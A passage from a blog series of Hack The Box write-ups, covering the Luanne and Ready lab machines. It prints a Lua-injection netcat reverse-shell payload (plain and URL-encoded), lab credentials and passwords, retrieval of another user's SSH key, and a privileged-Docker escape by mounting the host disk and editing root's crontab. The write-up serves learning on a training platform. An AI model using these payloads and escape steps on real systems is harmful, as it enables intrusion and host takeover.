decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be the same thing as before, with no meaningful difference.&lt;/p&gt;&#10;&lt;p&gt;There were very few entry points left: a url where the reverse shell did not work, and an unknown website on 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The lua reverse shell was also missing a library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;lsquo;) os.execute(&amp;ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.16.21 6666 &amp;gt;/tmp/f&amp;rdquo;) &amp;ndash;+&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It finally worked. This was absurd: sh could not find the command without an explicit path. It also seemed that Burp Suite&amp;rsquo;s URL encoding added an extra carriage return, or something similar.&lt;/p&gt;&#10;&lt;p&gt;Nothing worked for ages. It felt like superstition.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As an aside, I had a bad feeling from the moment I saw the rating.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not get a tty.&lt;/p&gt;&#10;&lt;p&gt;I tried many privilege-escalation checks, but a lot of familiar tools seemed to be missing. I searched for NetBSD 9.0.&lt;/p&gt;&#10;&lt;p&gt;Its commands appeared somewhat different from ordinary linux commands.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Local ports 3000 and 3001 were listening.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authentication was easy. I had credentials from above that worked on the weather endpoint. I had seen this authentication scheme many times; tomcat is a classic example.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3000" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3001" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Ports 3000 and 3001 appeared to serve the same thing.&lt;/p&gt;&#10;&lt;p&gt;I had an idea: the two services were identical, but perhaps they had been started by different users. I knew very little about bsd commands, so I searched google as best I could for “how to see which user opened a port on bsd.”&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both were present, so I tried them. I already had the exp anyway.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Port 3000 worked and returned a shell, while 3001 did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried many methods but could not map pids to ports.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netstat -an&lt;/p&gt;&#10;&lt;p&gt;sockstat -4l&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Neither helped, and I had no other methods left.&lt;/p&gt;&#10;&lt;p&gt;At this point I genuinely could not continue. The only option was to build a tunnel and test the service, but that did not seem likely to help.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;It hinted that the r.michaels directory could be accessed through the website. Apparently this was a backup service.&lt;/p&gt;&#10;&lt;p&gt;I never would have thought of that. Perhaps there was a problem with my procedure, because I had no way to determine whether 3001 corresponded to the r.michaels user.&lt;/p&gt;&#10;&lt;p&gt;The write-ups found it through directory brute-forcing. My wordlist certainly would not have contained these values, and I would never have thought to build one from distinctive strings in files such as home and passwd. That did not feel like a systematic approach. Perhaps my commands were still wrong. After finishing, I planned to ask GPT whether there was a way to map a port and process to the corresponding user and files.&lt;/p&gt;&#10;&lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3001/~r.michaels/id_rsa%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001/~r.michaels/id_rsa&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;This was very strange. Apparently ~ traversed into the r.michaels directory, requiring only that the current user be r.michaels, a member of users, or root. I did not know that a service started by python could allow this kind of traversal. In any case, it was a very strange thing to try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a backup file. I transferred it to kali. The enc file was encrypted, so I needed to determine how to encrypt and decrypt it while also checking the other directories.&lt;/p&gt;&#10;&lt;p&gt;I became stuck again and could not decrypt it at all. It looked as though I needed to identify the encryption type and find a key, but I had no idea where the key was. I checked a write-up again.&lt;/p&gt;&#10;&lt;p&gt;A single command solved it.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;netpgp &amp;ndash;decrypt devel_backup-2020-09-16.tar.gz.enc &amp;ndash;output=/tmp/raj.tar.gz&lt;/p&gt;&#10;&lt;p&gt;tar -xvf /tmp/raj.tar.gz&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It also contained devel-2020-09-16/www/.htpasswd.&lt;/p&gt;&#10;&lt;p&gt;It cracked as follows.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;littlebear&lt;/p&gt;&#10;&lt;p&gt;su could not switch users, so I was stuck again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0723.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0724.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;There was a reason this scored 2.5. I do not know whether these were netbsd-specific behaviors or something else, but the box was extremely unpleasant to use. Its commands were completely different from the ones I knew, and its ways of getting a shell were bizarre. It did broaden my experience, but completing it felt awful. This was the most frustrating box yet.&lt;/p&gt;&#10;&lt;p&gt;Finally, I revisited my earlier question. There was indeed a method.&lt;/p&gt;&#10;&lt;p&gt;ps aux | grep httpd&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0725.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had overlooked ps at the time because this linux system seemed to lack every familiar command, and everything behaved differently.&lt;/p&gt;&#10;&lt;p&gt;This clearly showed that port 3001 had been started by r.michaels.&lt;/p&gt;&#10;&lt;h2 id="30time"&gt;&lt;a href="#30time" class="header-anchor"&gt;&lt;/a&gt;30.Time&#10;&lt;/h2&gt;&lt;p&gt;The rating is a little low, so I am leaving this blank for now.&lt;/p&gt;&#10;&lt;h2 id="31ready"&gt;&lt;a href="#31ready" class="header-anchor"&gt;&lt;/a&gt;31.Ready&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0726.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0727.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.220:5080/dude/ready-channel" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.220:5080/dude/ready-channel&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0728.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After registering and entering, there was only one project.&lt;/p&gt;&#10;&lt;p&gt;I examined it for a long time, but it seemed to be a distraction. Although the project was present, running:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;grep -r &amp;lsquo;password&amp;rsquo; ./&lt;/p&gt;&#10;&lt;p&gt;grep -r &amp;lsquo;username&amp;rsquo; ./&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;revealed no information disclosure, nor any ssh keys.&lt;/p&gt;&#10;&lt;p&gt;google showed me how to check the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0729.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0730.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were vulnerabilities after all.&lt;/p&gt;&#10;&lt;p&gt;But both appeared to fail. I found a script on github.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This one worked and exploited the target successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0731.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0732.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There was a root_pass file in the root directory, but it was not useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0733.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;YG65407Bjqvv9A0a8Tm_7w&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;linenum told us that we were in a docker container, and other methods confirmed the same thing. I thought the intended path was probably a docker escape.&lt;/p&gt;&#10;&lt;p&gt;I tried many methods, but all said that my current account was not root and could not perform the operations. The first step therefore remained escalating to root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0734.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found docker&amp;rsquo;s configuration files as well as gitlab&amp;rsquo;s.&lt;/p&gt;&#10;&lt;p&gt;I ran cat gitlab.rb | grep passw against them one by one.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found a password in gitlab.rb.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0735.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to root.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;wW59U!ZKMbG9+*#h&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0736.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0737.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The container ran in privileged mode, so a docker escape solved it directly.&lt;/p&gt;&#10;&lt;p&gt;I had tested this while running as gitlab, but the mount failed because that account lacked sufficient privileges. Now it worked.&lt;/p&gt;&#10;&lt;p&gt;Running fdisk -l produced the following result.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0738.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The filesystem appeared to be the physical host&amp;rsquo;s disk. I only needed to mount it at the test directory under /tmp.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;mkdir /tmp/test &amp;amp;&amp;amp; mount /dev/sda2 /tmp/test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I mainly followed this post:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/12495" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/12495&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0739.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After mounting it, I could access it directly and retrieve the flag. But I still wanted proper root access.&lt;/p&gt;&#10;&lt;p&gt;I discovered that I could not write data into the scheduled-task directory. It reported insufficient space at /tmp/test/var/spool/cron/root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0740.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0741.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was at 100%. I could delete data but could not write, so I searched google again.&lt;/p&gt;&#10;&lt;p&gt;I deleted many things, but it still failed and reported that the disk was full.&lt;/p&gt;&#10;&lt;p&gt;There was already a root scheduled task under /tmp/test/var/spool/cron/crontabs, and this file was writable. I could append to or overwrite it. However, neither approach returned a shell. Writing a public key under root&amp;rsquo;s directory was also possible. After resetting the box, however, gitlab broke, and the platform would not let me reset it a second time so soon. Perhaps this happened because I overwrote /tmp/test/var/spool/cron/crontabs/root. It originally contained gitlab&amp;rsquo;s scheduled tasks; after I replaced it, those tasks were gone. Even resetting the box left it broken. This reset mechanism was rather ridiculous.&lt;/p&gt;&#10;&lt;p&gt;After some time passed, I reset it again and it recovered.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0742.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the private key and used it to connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0743.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. Although this box was rated medium, I did not find it particularly hard. In comparison, the previous box, number 29, luanne, was rated easy but was actually extremely difficult.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0744.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Its rating was also quite good, and it was an excellent box for broadening my experience.&lt;/p&gt;&#10;</description></item></channel></rss>